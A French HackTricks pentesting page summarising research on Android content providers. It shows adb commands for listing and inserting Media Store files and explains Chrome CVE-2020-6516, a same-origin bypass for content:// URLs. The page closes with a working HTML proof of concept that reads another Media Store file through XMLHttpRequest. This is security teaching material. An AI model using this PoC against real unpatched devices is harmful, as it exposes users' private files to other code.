hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

6.2 KiB

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Il s'agit d'un résumé de l'article https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Listing des fichiers dans le Media Store

Pour lister les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée :

$ content query --uri content://media/external/file

Pour une sortie plus conviviale, affichez uniquement l'identifiant et le chemin de chaque fichier indexé :

$ content query --uri content://media/external/file --projection _id,_data

Les fournisseurs de contenu sont isolés dans leur propre espace de noms privé. L'accès à un fournisseur nécessite l'URI spécifique content://. Les informations sur les chemins d'accès à un fournisseur peuvent être obtenues à partir des manifestes d'application ou du code source du framework Android.

Accès de Chrome aux fournisseurs de contenu

Chrome sur Android peut accéder aux fournisseurs de contenu via le schéma content://, lui permettant d'accéder à des ressources telles que des photos ou des documents exportés par des applications tierces. Pour illustrer cela, un fichier peut être inséré dans le Media Store, puis accédé via Chrome :

Insérer une entrée personnalisée dans le Media Store :

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Découvrez l'identifiant du fichier nouvellement inséré :

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Le fichier peut ensuite être consulté dans Chrome en utilisant une URL construite avec l'identifiant du fichier.

Par exemple, pour répertorier les fichiers liés à une application spécifique :

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Contournement de la politique de même origine

La Politique de Même Origine (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web à interagir avec des ressources provenant de différentes origines, sauf si explicitement autorisé par une politique de partage de ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et les attaques de falsification de requêtes inter-sites. Chrome considère content:// comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.

Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL content://. En pratique, le code JavaScript d'une URL content:// pouvait accéder à d'autres ressources chargées via des URL content://, ce qui constituait une préoccupation majeure en termes de sécurité, notamment sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage ciblé n'était pas implémenté.

Le concept de preuve ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléchargé sous /sdcard et ajouté au Media Store, utilise XMLHttpRequest dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.

Concept de preuve HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

D'autres façons de soutenir HackTricks :